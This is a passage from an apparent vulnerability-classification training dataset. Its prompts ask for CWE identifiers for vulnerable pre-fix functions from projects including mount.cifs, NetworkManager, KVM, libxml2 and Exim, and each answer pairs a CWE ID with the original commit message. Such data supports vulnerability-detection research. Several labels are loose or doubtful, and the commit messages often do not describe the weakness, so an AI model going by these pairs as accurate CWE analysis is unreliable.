EX_SYSERR;\n\t\t\tgoto mount_exit;\n\t\t}\n\t}\n\n\tif (addr->ai_addr->sa_family == AF_INET6 && addr6->sin6_scope_id) {\n\t\tstrlcat(options, \"%\", options_size);\n\t\tcurrent_len = strnlen(options, options_size);\n\t\toptionstail = options + current_len;\n\t\tsnprintf(optionstail, options_size - current_len, \"%u\",\n\t\t\t addr6->sin6_scope_id);\n\t}\n\n\tif(verboseflag)\n\t\tfprintf(stderr, \"\\nmount.cifs kernel mount options: %s\", options);\n\n\tif (mountpassword) {\n\t\t/*\n\t\t * Commas have to be doubled, or else they will\n\t\t * look like the parameter separator\n\t\t */\n\t\tif(retry == 0)\n\t\t\tcheck_for_comma(&mountpassword);\n\t\tstrlcat(options,\",pass=\",options_size);\n\t\tstrlcat(options,mountpassword,options_size);\n\t\tif (verboseflag)\n\t\t\tfprintf(stderr, \",pass=********\");\n\t}\n\n\tif (verboseflag)\n\t\tfprintf(stderr, \"\\n\");\n\n\tif (!fakemnt && mount(dev_name, mountpoint, cifs_fstype, flags, options)) {\n\t\tswitch (errno) {\n\t\tcase ECONNREFUSED:\n\t\tcase EHOSTUNREACH:\n\t\t\tif (addr) {\n\t\t\t\taddr = addr->ai_next;\n\t\t\t\tif (addr)\n\t\t\t\t\tgoto mount_retry;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase ENODEV:\n\t\t\tfprintf(stderr, \"mount error: cifs filesystem not supported by the system\\n\");\n\t\t\tbreak;\n\t\tcase ENXIO:\n\t\t\tif(retry == 0) {\n\t\t\t\tretry = 1;\n\t\t\t\tif (uppercase_string(dev_name) &&\n\t\t\t\t uppercase_string(share_name) &&\n\t\t\t\t uppercase_string(prefixpath)) {\n\t\t\t\t\tfprintf(stderr, \"retrying with upper case share name\\n\");\n\t\t\t\t\tgoto mount_retry;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfprintf(stderr, \"mount error(%d): %s\\n\", errno, strerror(errno));\n\t\tfprintf(stderr, \"Refer to the mount.cifs(8) manual page (e.g. man \"\n\t\t \"mount.cifs)\\n\");\n\t\trc = EX_FAIL;\n\t\tgoto mount_exit;\n\t}\n\n\tif (nomtab)\n\t\tgoto mount_exit;\n\tatexit(unlock_mtab);\n\trc = lock_mtab();\n\tif (rc) {\n\t\tfprintf(stderr, \"cannot lock mtab\");\n\t\tgoto mount_exit;\n\t}\n\tpmntfile = setmntent(MOUNTED, \"a+\");\n\tif (!pmntfile) {\n\t\tfprintf(stderr, \"could not update mount table\\n\");\n\t\tunlock_mtab();\n\t\trc = EX_FILEIO;\n\t\tgoto mount_exit;\n\t}\n\tmountent.mnt_fsname = dev_name;\n\tmountent.mnt_dir = mountpoint;\n\tmountent.mnt_type = (char *)(void *)cifs_fstype;\n\tmountent.mnt_opts = (char *)malloc(220);\n\tif(mountent.mnt_opts) {\n\t\tchar * mount_user = getusername();\n\t\tmemset(mountent.mnt_opts,0,200);\n\t\tif(flags & MS_RDONLY)\n\t\t\tstrlcat(mountent.mnt_opts,\"ro\",220);\n\t\telse\n\t\t\tstrlcat(mountent.mnt_opts,\"rw\",220);\n\t\tif(flags & MS_MANDLOCK)\n\t\t\tstrlcat(mountent.mnt_opts,\",mand\",220);\n\t\tif(flags & MS_NOEXEC)\n\t\t\tstrlcat(mountent.mnt_opts,\",noexec\",220);\n\t\tif(flags & MS_NOSUID)\n\t\t\tstrlcat(mountent.mnt_opts,\",nosuid\",220);\n\t\tif(flags & MS_NODEV)\n\t\t\tstrlcat(mountent.mnt_opts,\",nodev\",220);\n\t\tif(flags & MS_SYNCHRONOUS)\n\t\t\tstrlcat(mountent.mnt_opts,\",sync\",220);\n\t\tif(mount_user) {\n\t\t\tif(getuid() != 0) {\n\t\t\t\tstrlcat(mountent.mnt_opts,\n\t\t\t\t\t\",user=\", 220);\n\t\t\t\tstrlcat(mountent.mnt_opts,\n\t\t\t\t\tmount_user, 220);\n\t\t\t}\n\t\t}\n\t}\n\tmountent.mnt_freq = 0;\n\tmountent.mnt_passno = 0;\n\trc = addmntent(pmntfile,&mountent);\n\tendmntent(pmntfile);\n\tunlock_mtab();\n\tSAFE_FREE(mountent.mnt_opts);\n\tif (rc)\n\t\trc = EX_FILEIO;\nmount_exit:\n\tif(mountpassword) {\n\t\tint len = strlen(mountpassword);\n\t\tmemset(mountpassword,0,len);\n\t\tSAFE_FREE(mountpassword);\n\t}\n\n\tif (addrhead)\n\t\tfreeaddrinfo(addrhead);\n\tSAFE_FREE(options);\n\tSAFE_FREE(orgoptions);\n\tSAFE_FREE(resolved_path);\n\tSAFE_FREE(share_name);\n\texit(rc);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'mount.cifs: take extra care that mountpoint isn't changed during mount\n\nIt's possible to trick mount.cifs into mounting onto the wrong directory\nby replacing the mountpoint with a symlink to a directory. mount.cifs\nattempts to check the validity of the mountpoint, but there's still a\npossible race between those checks and the mount(2) syscall.\n\nTo guard against this, chdir to the mountpoint very early, and only deal\nwith it as \".\" from then on out.\n\nSigned-off-by: Jeff Layton '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: dispose (GObject *object)\n{\n\tNMAGConfSettingsPrivate *priv = NMA_GCONF_SETTINGS_GET_PRIVATE (object);\n\n\tif (priv->disposed)\n\t\treturn;\n\n\tpriv->disposed = TRUE;\n\n\tg_hash_table_destroy (priv->pending_changes);\n\n\tif (priv->read_connections_id) {\n\t\tg_source_remove (priv->read_connections_id);\n\t\tpriv->read_connections_id = 0;\n\t}\n\n\tgconf_client_notify_remove (priv->client, priv->conf_notify_id);\n\tgconf_client_remove_dir (priv->client, GCONF_PATH_CONNECTIONS, NULL);\n\n\tg_slist_foreach (priv->connections, (GFunc) g_object_unref, NULL);\n\tg_slist_free (priv->connections);\n\n\tg_object_unref (priv->client);\n\n\tG_OBJECT_CLASS (nma_gconf_settings_parent_class)->dispose (object);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'applet: fix dbus connection refcounting after 8627880e07c8345f69ed639325280c7f62a8f894'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: add_one_setting (GHashTable *settings,\n NMConnection *connection,\n NMSetting *setting,\n GError **error)\n{\n\tGHashTable *secrets;\n\n\tg_return_val_if_fail (settings != NULL, FALSE);\n\tg_return_val_if_fail (connection != NULL, FALSE);\n\tg_return_val_if_fail (setting != NULL, FALSE);\n\tg_return_val_if_fail (error != NULL, FALSE);\n\tg_return_val_if_fail (*error == NULL, FALSE);\n\n\tutils_fill_connection_certs (connection);\n\tsecrets = nm_setting_to_hash (setting);\n\tutils_clear_filled_connection_certs (connection);\n\n\tif (secrets) {\n\t\tg_hash_table_insert (settings, g_strdup (nm_setting_get_name (setting)), secrets);\n\t} else {\n\t\tg_set_error (error, NM_SETTINGS_ERROR, NM_SETTINGS_ERROR_INTERNAL_ERROR,\n\t\t \"%s.%d (%s): failed to hash setting '%s'.\",\n\t\t __FILE__, __LINE__, __func__, nm_setting_get_name (setting));\n\t}\n\n\treturn secrets ? TRUE : FALSE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'core: fix CA cert mishandling after cert file deletion (deb #560067) (rh #546793)\n\nIf a connection was created with a CA certificate, but the user later\nmoved or deleted that CA certificate, the applet would simply provide the\nconnection to NetworkManager without any CA certificate. This could cause\nNM to connect to the original network (or a network spoofing the original\nnetwork) without verifying the identity of the network as the user\nexpects.\n\nIn the future we can/should do better here by (1) alerting the user that\nsome connection is now no longer complete by flagging it in the connection\neditor or notifying the user somehow, and (2) by using a freaking' cert\nstore already (not that Linux has one yet).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _hb_ot_layout_init (hb_face_t *face)\n{\n hb_ot_layout_t *layout = &face->ot_layout;\n\n layout->gdef_blob = Sanitizer::sanitize (hb_face_get_table (face, HB_OT_TAG_GDEF));\n layout->gdef = &Sanitizer::lock_instance (layout->gdef_blob);\n\n layout->gsub_blob = Sanitizer::sanitize (hb_face_get_table (face, HB_OT_TAG_GSUB));\n layout->gsub = &Sanitizer::lock_instance (layout->gsub_blob);\n\n layout->gpos_blob = Sanitizer::sanitize (hb_face_get_table (face, HB_OT_TAG_GPOS));\n layout->gpos = &Sanitizer::lock_instance (layout->gpos_blob);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': '[HB/GDEF] Fix bug in building synthetic GDEF table'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int Server::authenticate(QString &name, const QString &pw, const QStringList &emails, const QString &certhash, bool bStrongCert, const QList &certs) {\n\tint res = -2;\n\n\temit authenticateSig(res, name, certs, certhash, bStrongCert, pw);\n\n\tif (res != -2) {\n\t\t// External authentication handled it. Ignore certificate completely.\n\t\tif (res != -1) {\n\t\t\tTransactionHolder th;\n\t\t\tQSqlQuery &query = *th.qsqQuery;\n\n\t\t\tint lchan=readLastChannel(res);\n\t\t\tif (lchan < 0)\n\t\t\t\tlchan = 0;\n\n\t\t\tSQLPREP(\"REPLACE INTO `%1users` (`server_id`, `user_id`, `name`, `lastchannel`) VALUES (?,?,?,?)\");\n\t\t\tquery.addBindValue(iServerNum);\n\t\t\tquery.addBindValue(res);\n\t\t\tquery.addBindValue(name);\n\t\t\tquery.addBindValue(lchan);\n\t\t\tSQLEXEC();\n\t\t}\n\t\tif (res >= 0) {\n\t\t\tqhUserNameCache.remove(res);\n\t\t\tqhUserIDCache.remove(name);\n\t\t}\n\t\treturn res;\n\t}\n\n\tTransactionHolder th;\n\tQSqlQuery &query = *th.qsqQuery;\n\n\tSQLPREP(\"SELECT `user_id`,`name`,`pw` FROM `%1users` WHERE `server_id` = ? AND `name` like ?\");\n\tquery.addBindValue(iServerNum);\n\tquery.addBindValue(name);\n\tSQLEXEC();\n\tif (query.next()) {\n\t\tres = -1;\n\t\tQString storedpw = query.value(2).toString();\n\t\tQString hashedpw = QString::fromLatin1(sha1(pw).toHex());\n\n\t\tif (! storedpw.isEmpty() && (storedpw == hashedpw)) {\n\t\t\tname = query.value(1).toString();\n\t\t\tres = query.value(0).toInt();\n\t\t} else if (query.value(0).toInt() == 0) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t// No password match. Try cert or email match, but only for non-SuperUser.\n\tif (!certhash.isEmpty() && (res < 0)) {\n\t\tSQLPREP(\"SELECT `user_id` FROM `%1user_info` WHERE `server_id` = ? AND `key` = ? AND `value` = ?\");\n\t\tquery.addBindValue(iServerNum);\n\t\tquery.addBindValue(ServerDB::User_Hash);\n\t\tquery.addBindValue(certhash);\n\t\tSQLEXEC();\n\t\tif (query.next()) {\n\t\t\tres = query.value(0).toInt();\n\t\t} else if (bStrongCert) {\n\t\t\tforeach(const QString &email, emails) {\n\t\t\t\tif (! email.isEmpty()) {\n\t\t\t\t\tquery.addBindValue(iServerNum);\n\t\t\t\t\tquery.addBindValue(ServerDB::User_Email);\n\t\t\t\t\tquery.addBindValue(email);\n\t\t\t\t\tSQLEXEC();\n\t\t\t\t\tif (query.next()) {\n\t\t\t\t\t\tres = query.value(0).toInt();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (res > 0) {\n\t\t\tSQLPREP(\"SELECT `name` FROM `%1users` WHERE `server_id` = ? AND `user_id` = ?\");\n\t\t\tquery.addBindValue(iServerNum);\n\t\t\tquery.addBindValue(res);\n\t\t\tSQLEXEC();\n\t\t\tif (! query.next()) {\n\t\t\t\tres = -1;\n\t\t\t} else {\n\t\t\t\tname = query.value(0).toString();\n\t\t\t}\n\t\t}\n\t}\n\tif (! certhash.isEmpty() && (res > 0)) {\n\t\tSQLPREP(\"REPLACE INTO `%1user_info` (`server_id`, `user_id`, `key`, `value`) VALUES (?, ?, ?, ?)\");\n\t\tquery.addBindValue(iServerNum);\n\t\tquery.addBindValue(res);\n\t\tquery.addBindValue(ServerDB::User_Hash);\n\t\tquery.addBindValue(certhash);\n\t\tSQLEXEC();\n\t\tif (! emails.isEmpty()) {\n\t\t\tquery.addBindValue(iServerNum);\n\t\t\tquery.addBindValue(res);\n\t\t\tquery.addBindValue(ServerDB::User_Email);\n\t\t\tquery.addBindValue(emails.at(0));\n\t\t\tSQLEXEC();\n\t\t}\n\t}\n\tif (res >= 0) {\n\t\tqhUserNameCache.remove(res);\n\t\tqhUserIDCache.remove(name);\n\t}\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Don't crash on long usernames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: long keyctl_session_to_parent(void)\n{\n#ifdef TIF_NOTIFY_RESUME\n\tstruct task_struct *me, *parent;\n\tconst struct cred *mycred, *pcred;\n\tstruct cred *cred, *oldcred;\n\tkey_ref_t keyring_r;\n\tint ret;\n\n\tkeyring_r = lookup_user_key(KEY_SPEC_SESSION_KEYRING, 0, KEY_LINK);\n\tif (IS_ERR(keyring_r))\n\t\treturn PTR_ERR(keyring_r);\n\n\t/* our parent is going to need a new cred struct, a new tgcred struct\n\t * and new security data, so we allocate them here to prevent ENOMEM in\n\t * our parent */\n\tret = -ENOMEM;\n\tcred = cred_alloc_blank();\n\tif (!cred)\n\t\tgoto error_keyring;\n\n\tcred->tgcred->session_keyring = key_ref_to_ptr(keyring_r);\n\tkeyring_r = NULL;\n\n\tme = current;\n\twrite_lock_irq(&tasklist_lock);\n\n\tparent = me->real_parent;\n\tret = -EPERM;\n\n\t/* the parent mustn't be init and mustn't be a kernel thread */\n\tif (parent->pid <= 1 || !parent->mm)\n\t\tgoto not_permitted;\n\n\t/* the parent must be single threaded */\n\tif (!thread_group_empty(parent))\n\t\tgoto not_permitted;\n\n\t/* the parent and the child must have different session keyrings or\n\t * there's no point */\n\tmycred = current_cred();\n\tpcred = __task_cred(parent);\n\tif (mycred == pcred ||\n\t mycred->tgcred->session_keyring == pcred->tgcred->session_keyring)\n\t\tgoto already_same;\n\n\t/* the parent must have the same effective ownership and mustn't be\n\t * SUID/SGID */\n\tif (pcred->uid\t!= mycred->euid\t||\n\t pcred->euid\t!= mycred->euid\t||\n\t pcred->suid\t!= mycred->euid\t||\n\t pcred->gid\t!= mycred->egid\t||\n\t pcred->egid\t!= mycred->egid\t||\n\t pcred->sgid\t!= mycred->egid)\n\t\tgoto not_permitted;\n\n\t/* the keyrings must have the same UID */\n\tif (pcred->tgcred->session_keyring->uid != mycred->euid ||\n\t mycred->tgcred->session_keyring->uid != mycred->euid)\n\t\tgoto not_permitted;\n\n\t/* if there's an already pending keyring replacement, then we replace\n\t * that */\n\toldcred = parent->replacement_session_keyring;\n\n\t/* the replacement session keyring is applied just prior to userspace\n\t * restarting */\n\tparent->replacement_session_keyring = cred;\n\tcred = NULL;\n\tset_ti_thread_flag(task_thread_info(parent), TIF_NOTIFY_RESUME);\n\n\twrite_unlock_irq(&tasklist_lock);\n\tif (oldcred)\n\t\tput_cred(oldcred);\n\treturn 0;\n\nalready_same:\n\tret = 0;\nnot_permitted:\n\twrite_unlock_irq(&tasklist_lock);\n\tput_cred(cred);\n\treturn ret;\n\nerror_keyring:\n\tkey_ref_put(keyring_r);\n\treturn ret;\n\n#else /* !TIF_NOTIFY_RESUME */\n\t/*\n\t * To be removed when TIF_NOTIFY_RESUME has been implemented on\n\t * m68k/xtensa\n\t */\n#warning TIF_NOTIFY_RESUME not implemented\n\treturn -EOPNOTSUPP;\n#endif /* !TIF_NOTIFY_RESUME */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'KEYS: Fix RCU no-lock warning in keyctl_session_to_parent()\n\nThere's an protected access to the parent process's credentials in the middle\nof keyctl_session_to_parent(). This results in the following RCU warning:\n\n ===================================================\n [ INFO: suspicious rcu_dereference_check() usage. ]\n ---------------------------------------------------\n security/keys/keyctl.c:1291 invoked rcu_dereference_check() without protection!\n\n other info that might help us debug this:\n\n rcu_scheduler_active = 1, debug_locks = 0\n 1 lock held by keyctl-session-/2137:\n #0: (tasklist_lock){.+.+..}, at: [] keyctl_session_to_parent+0x60/0x236\n\n stack backtrace:\n Pid: 2137, comm: keyctl-session- Not tainted 2.6.36-rc2-cachefs+ #1\n Call Trace:\n [] lockdep_rcu_dereference+0xaa/0xb3\n [] keyctl_session_to_parent+0xed/0x236\n [] sys_keyctl+0xb4/0xb6\n [] system_call_fastpath+0x16/0x1b\n\nThe code should take the RCU read lock to make sure the parents credentials\ndon't go away, even though it's holding a spinlock and has IRQ disabled.\n\nSigned-off-by: David Howells \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void __vmx_load_host_state(struct vcpu_vmx *vmx)\n{\n\tunsigned long flags;\n\n\tif (!vmx->host_state.loaded)\n\t\treturn;\n\n\t++vmx->vcpu.stat.host_state_reload;\n\tvmx->host_state.loaded = 0;\n\tif (vmx->host_state.fs_reload_needed)\n\t\tkvm_load_fs(vmx->host_state.fs_sel);\n\tif (vmx->host_state.gs_ldt_reload_needed) {\n\t\tkvm_load_ldt(vmx->host_state.ldt_sel);\n\t\t/*\n\t\t * If we have to reload gs, we must take care to\n\t\t * preserve our gs base.\n\t\t */\n\t\tlocal_irq_save(flags);\n\t\tkvm_load_gs(vmx->host_state.gs_sel);\n#ifdef CONFIG_X86_64\n\t\twrmsrl(MSR_GS_BASE, vmcs_readl(HOST_GS_BASE));\n#endif\n\t\tlocal_irq_restore(flags);\n\t}\n\treload_tss();\n#ifdef CONFIG_X86_64\n\tif (is_long_mode(&vmx->vcpu)) {\n\t\trdmsrl(MSR_KERNEL_GS_BASE, vmx->msr_guest_kernel_gs_base);\n\t\twrmsrl(MSR_KERNEL_GS_BASE, vmx->msr_host_kernel_gs_base);\n\t}\n#endif\n\tif (current_thread_info()->status & TS_USEDFPU)\n\t\tclts();\n\tload_gdt(&__get_cpu_var(host_gdt));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'KVM: Fix fs/gs reload oops with invalid ldt\n\nkvm reloads the host's fs and gs blindly, however the underlying segment\ndescriptors may be invalid due to the user modifying the ldt after loading\nthem.\n\nFix by using the safe accessors (loadsegment() and load_gs_index()) instead\nof home grown unsafe versions.\n\nThis is CVE-2010-3698.\n\nKVM-Stable-Tag.\nSigned-off-by: Avi Kivity \nSigned-off-by: Marcelo Tosatti '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: */\nstatic xmlNodePtr\nxmlXPathNextPrecedingInternal(xmlXPathParserContextPtr ctxt,\n xmlNodePtr cur)\n{\n if ((ctxt == NULL) || (ctxt->context == NULL)) return(NULL);\n if ((ctxt->context->node->type == XML_ATTRIBUTE_NODE) ||\n\t(ctxt->context->node->type == XML_NAMESPACE_DECL))\n\treturn(NULL);\n if (cur == NULL) {\n cur = ctxt->context->node;\n if (cur == NULL)\n return (NULL);\n ctxt->ancestor = cur->parent;\n }\n if ((cur->prev != NULL) && (cur->prev->type == XML_DTD_NODE))\n\tcur = cur->prev;\n while (cur->prev == NULL) {\n cur = cur->parent;\n if (cur == NULL)\n return (NULL);\n if (cur == ctxt->context->doc->children)\n return (NULL);\n if (cur != ctxt->ancestor)\n return (cur);\n ctxt->ancestor = cur->parent;\n }\n cur = cur->prev;\n while (cur->last != NULL)\n cur = cur->last; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix a change of semantic on XPath preceding and following axis\n\nThis was introduced in the prevous fix, while preceding-sibling and\nfollowing sibling axis are empty for attributes and namespaces,\npreceding and following axis should still work based on the parent\nelement. However the parent element is not available for a namespace\nnode, so we keep the axis empty in that case.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void flush_stack(struct sock **stack, unsigned int count,\n\t\t\tstruct sk_buff *skb, unsigned int final)\n{\n\tunsigned int i;\n\tstruct sock *sk;\n\tstruct sk_buff *skb1;\n\n\tfor (i = 0; i < count; i++) {\n\t\tskb1 = (i == final) ? skb : skb_clone(skb, GFP_ATOMIC);\n\n\t\tsk = stack[i];\n\t\tif (skb1) {\n\t\t\tbh_lock_sock(sk);\n\t\t\tif (!sock_owned_by_user(sk))\n\t\t\t\tudpv6_queue_rcv_skb(sk, skb1);\n\t\t\telse if (sk_add_backlog(sk, skb1)) {\n\t\t\t\tkfree_skb(skb1);\n\t\t\t\tbh_unlock_sock(sk);\n\t\t\t\tgoto drop;\n\t\t\t}\n\t\t\tbh_unlock_sock(sk);\n\t\t\tcontinue;\n\t\t}\ndrop:\n\t\tatomic_inc(&sk->sk_drops);\n\t\tUDP6_INC_STATS_BH(sock_net(sk),\n\t\t\t\tUDP_MIB_RCVBUFERRORS, IS_UDPLITE(sk));\n\t\tUDP6_INC_STATS_BH(sock_net(sk),\n\t\t\t\tUDP_MIB_INERRORS, IS_UDPLITE(sk));\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'net: sk_add_backlog() take rmem_alloc into account\n\nCurrent socket backlog limit is not enough to really stop DDOS attacks,\nbecause user thread spend many time to process a full backlog each\nround, and user might crazy spin on socket lock.\n\nWe should add backlog size and receive_queue size (aka rmem_alloc) to\npace writers, and let user run without being slow down too much.\n\nIntroduce a sk_rcvqueues_full() helper, to avoid taking socket lock in\nstress situations.\n\nUnder huge stress from a multiqueue/RPS enabled NIC, a single flow udp\nreceiver can now process ~200.000 pps (instead of ~100 pps before the\npatch) on a 8 core machine.\n\nSigned-off-by: Eric Dumazet \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: readconf_main(void)\n{\nint sep = 0;\nstruct stat statbuf;\nuschar *s, *filename;\nuschar *list = config_main_filelist;\n\n/* Loop through the possible file names */\n\nwhile((filename = string_nextinlist(&list, &sep, big_buffer, big_buffer_size))\n != NULL)\n {\n /* Cut out all the fancy processing unless specifically wanted */\n\n #if defined(CONFIGURE_FILE_USE_NODE) || defined(CONFIGURE_FILE_USE_EUID)\n uschar *suffix = filename + Ustrlen(filename);\n\n /* Try for the node-specific file if a node name exists */\n\n #ifdef CONFIGURE_FILE_USE_NODE\n struct utsname uts;\n if (uname(&uts) >= 0)\n {\n #ifdef CONFIGURE_FILE_USE_EUID\n sprintf(CS suffix, \".%ld.%.256s\", (long int)original_euid, uts.nodename);\n config_file = Ufopen(filename, \"rb\");\n if (config_file == NULL)\n #endif /* CONFIGURE_FILE_USE_EUID */\n {\n sprintf(CS suffix, \".%.256s\", uts.nodename);\n config_file = Ufopen(filename, \"rb\");\n }\n }\n #endif /* CONFIGURE_FILE_USE_NODE */\n\n /* Otherwise, try the generic name, possibly with the euid added */\n\n #ifdef CONFIGURE_FILE_USE_EUID\n if (config_file == NULL)\n {\n sprintf(CS suffix, \".%ld\", (long int)original_euid);\n config_file = Ufopen(filename, \"rb\");\n }\n #endif /* CONFIGURE_FILE_USE_EUID */\n\n /* Finally, try the unadorned name */\n\n if (config_file == NULL)\n {\n *suffix = 0;\n config_file = Ufopen(filename, \"rb\");\n }\n #else /* if neither defined */\n\n /* This is the common case when the fancy processing is not included. */\n\n config_file = Ufopen(filename, \"rb\");\n #endif\n\n /* If the file does not exist, continue to try any others. For any other\n error, break out (and die). */\n\n if (config_file != NULL || errno != ENOENT) break;\n }\n\n/* On success, save the name for verification; config_filename is used when\nlogging configuration errors (it changes for .included files) whereas\nconfig_main_filename is the name shown by -bP. Failure to open a configuration\nfile is a serious disaster. */\n\nif (config_file != NULL)\n {\n config_filename = config_main_filename = string_copy(filename);\n }\nelse\n {\n if (filename == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"non-existent configuration file(s): \"\n \"%s\", config_main_filelist);\n else\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"%s\", string_open_failed(errno,\n \"configuration file %s\", filename));\n }\n\n/* Check the status of the file we have opened, unless it was specified on\nthe command line, in which case privilege was given away at the start. */\n\nif (!config_changed)\n {\n if (fstat(fileno(config_file), &statbuf) != 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to stat configuration file %s\",\n big_buffer);\n\n if ((statbuf.st_uid != root_uid /* owner not root */\n #ifdef CONFIGURE_OWNER\n && statbuf.st_uid != config_uid /* owner not the special one */\n #endif\n ) || /* or */\n (statbuf.st_gid != root_gid /* group not root & */\n #ifdef CONFIGURE_GROUP\n && statbuf.st_gid != config_gid /* group not the special one */\n #endif\n && (statbuf.st_mode & 020) != 0) || /* group writeable */\n /* or */\n ((statbuf.st_mode & 2) != 0)) /* world writeable */\n\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"Exim configuration file %s has the \"\n \"wrong owner, group, or mode\", big_buffer);\n }\n\n/* Process the main configuration settings. They all begin with a lower case\nletter. If we see something starting with an upper case letter, it is taken as\na macro definition. */\n\nwhile ((s = get_config_line()) != NULL)\n {\n if (isupper(s[0])) read_macro_assignment(s);\n\n else if (Ustrncmp(s, \"domainlist\", 10) == 0)\n read_named_list(&domainlist_anchor, &domainlist_count,\n MAX_NAMED_LIST, s+10, US\"domain list\");\n\n else if (Ustrncmp(s, \"hostlist\", 8) == 0)\n read_named_list(&hostlist_anchor, &hostlist_count,\n MAX_NAMED_LIST, s+8, US\"host list\");\n\n else if (Ustrncmp(s, US\"addresslist\", 11) == 0)\n read_named_list(&addresslist_anchor, &addresslist_count,\n MAX_NAMED_LIST, s+11, US\"address list\");\n\n else if (Ustrncmp(s, US\"localpartlist\", 13) == 0)\n read_named_list(&localpartlist_anchor, &localpartlist_count,\n MAX_NAMED_LIST, s+13, US\"local part list\");\n\n else\n (void) readconf_handle_option(s, optionlist_config, optionlist_config_size,\n NULL, US\"main option \\\"%s\\\" unknown\");\n }\n\n\n/* If local_sender_retain is set, local_from_check must be unset. */\n\nif (local_sender_retain && local_from_check)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"both local_from_check and \"\n \"local_sender_retain are set; this combination is not allowed\");\n\n/* If the timezone string is empty, set it to NULL, implying no TZ variable\nwanted. */\n\nif (timezone_string != NULL && *timezone_string == 0) timezone_string = NULL;\n\n/* The max retry interval must not be greater than 24 hours. */\n\nif (retry_interval_max > 24*60*60) retry_interval_max = 24*60*60;\n\n/* remote_max_parallel must be > 0 */\n\nif (remote_max_parallel <= 0) remote_max_parallel = 1;\n\n/* Save the configured setting of freeze_tell, so we can re-instate it at the\nstart of a new SMTP message. */\n\nfreeze_tell_config = freeze_tell;\n\n/* The primary host name may be required for expansion of spool_directory\nand log_file_path, so make sure it is set asap. It is obtained from uname(),\nbut if that yields an unqualified value, make a FQDN by using gethostbyname to\ncanonize it. Some people like upper case letters in their host names, so we\ndon't force the case. */\n\nif (primary_hostname == NULL)\n {\n uschar *hostname;\n struct utsname uts;\n if (uname(&uts) < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"uname() failed to yield host name\");\n hostname = US uts.nodename;\n\n if (Ustrchr(hostname, '.') == NULL)\n {\n int af = AF_INET;\n struct hostent *hostdata;\n\n #if HAVE_IPV6\n if (!disable_ipv6 && (dns_ipv4_lookup == NULL ||\n match_isinlist(hostname, &dns_ipv4_lookup, 0, NULL, NULL, MCL_DOMAIN,\n TRUE, NULL) != OK))\n af = AF_INET6;\n #else\n af = AF_INET;\n #endif\n\n for (;;)\n {\n #if HAVE_IPV6\n #if HAVE_GETIPNODEBYNAME\n int error_num;\n hostdata = getipnodebyname(CS hostname, af, 0, &error_num);\n #else\n hostdata = gethostbyname2(CS hostname, af);\n #endif\n #else\n hostdata = gethostbyname(CS hostname);\n #endif\n\n if (hostdata != NULL)\n {\n hostname = US hostdata->h_name;\n break;\n }\n\n if (af == AF_INET) break;\n af = AF_INET;\n }\n }\n\n primary_hostname = string_copy(hostname);\n }\n\n/* Set up default value for smtp_active_hostname */\n\nsmtp_active_hostname = primary_hostname;\n\n/* If spool_directory wasn't set in the build-time configuration, it must have\ngot set above. Of course, writing to the log may not work if log_file_path is\nnot set, but it will at least get to syslog or 